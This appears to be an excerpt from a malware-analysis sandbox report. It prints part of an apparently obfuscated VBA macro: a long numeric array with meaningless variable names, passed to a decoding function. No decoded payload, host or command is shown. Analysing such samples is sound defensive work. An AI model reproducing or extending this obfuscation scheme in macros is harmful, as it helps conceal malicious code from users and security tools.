yBcMrE(5) = 89
yBcMrE(6) = 89
yBcMrE(7) = 28
yBcMrE(8) = 3
yBcMrE(9) = 38
yBcMrE(10) = 15
yBcMrE(11) = 75
yBcMrE(12) = 30
yBcMrE(13) = 75
yBcMrE(14) = 46
yBcMrE(15) = 84
yBcMrE(16) = 12
yBcMrE(17) = 69
yBcMrE(18) = 3
yBcMrE(19) = 38
yBcMrE(20) = 28
yBcMrE(21) = 69
yBcMrE(22) = 21
yBcMrE(23) = 49
yBcMrE(24) = 15
yBcMrE(25) = 46
yBcMrE(26) = 89
yBcMrE(27) = 69
yBcMrE(28) = 47
yBcMrE(29) = 84
yBcMrE(30) = 13
yBcMrE(31) = 75
yBcMrE(32) = 35
yBcMrE(33) = 89
yBcMrE(34) = 62
yBcMrE(35) = 8
yBcMrE(36) = 32
yBcMrE(37) = 40
yBcMrE(38) = 46
yBcMrE(39) = 89
yBcMrE(40) = 3
yBcMrE(41) = 120
yBcMrE(42) = 17
yBcMrE(43) = 108
yBcMrE(44) = 128
yBcMrE(45) = 180
yBcMrE(46) = 180
yBcMrE(47) = 38
yBcMrE(48) = 18
yBcMrE(49) = 122
yBcMrE(50) = 147
yBcMrE(51) = 137
yBcMrE(52) = 13
yBcMrE(53) = 67
yBcMrE(54) = 19
yBcMrE(55) = 85
yBcMrE(56) = 168
yBcMrE(57) = 23
yBcMrE(58) = 114
yBcMrE(59) = 58
yBcMrE(60) = 16
yBcMrE(61) = 48
yBcMrE(62) = 145
yBcMrE(63) = 131
yBcMrE(64) = 164
yBcMrE(65) = 83
yBcMrE(66) = 119
yBcMrE(67) = 145
yBcMrE(68) = 21
yBcMrE(69) = 78
yBcMrE(70) = 95
yBcMrE(71) = 95
yBcMrE(72) = 172
yBcMrE(73) = 84
yBcMrE(74) = 1
yBcMrE(75) = 76
aRT = yV(XzYQYI, yBcMrE, CrAf)
Dim cDgp As String
…

Open this report in the interactive analyzer, or submit your own file for analysis.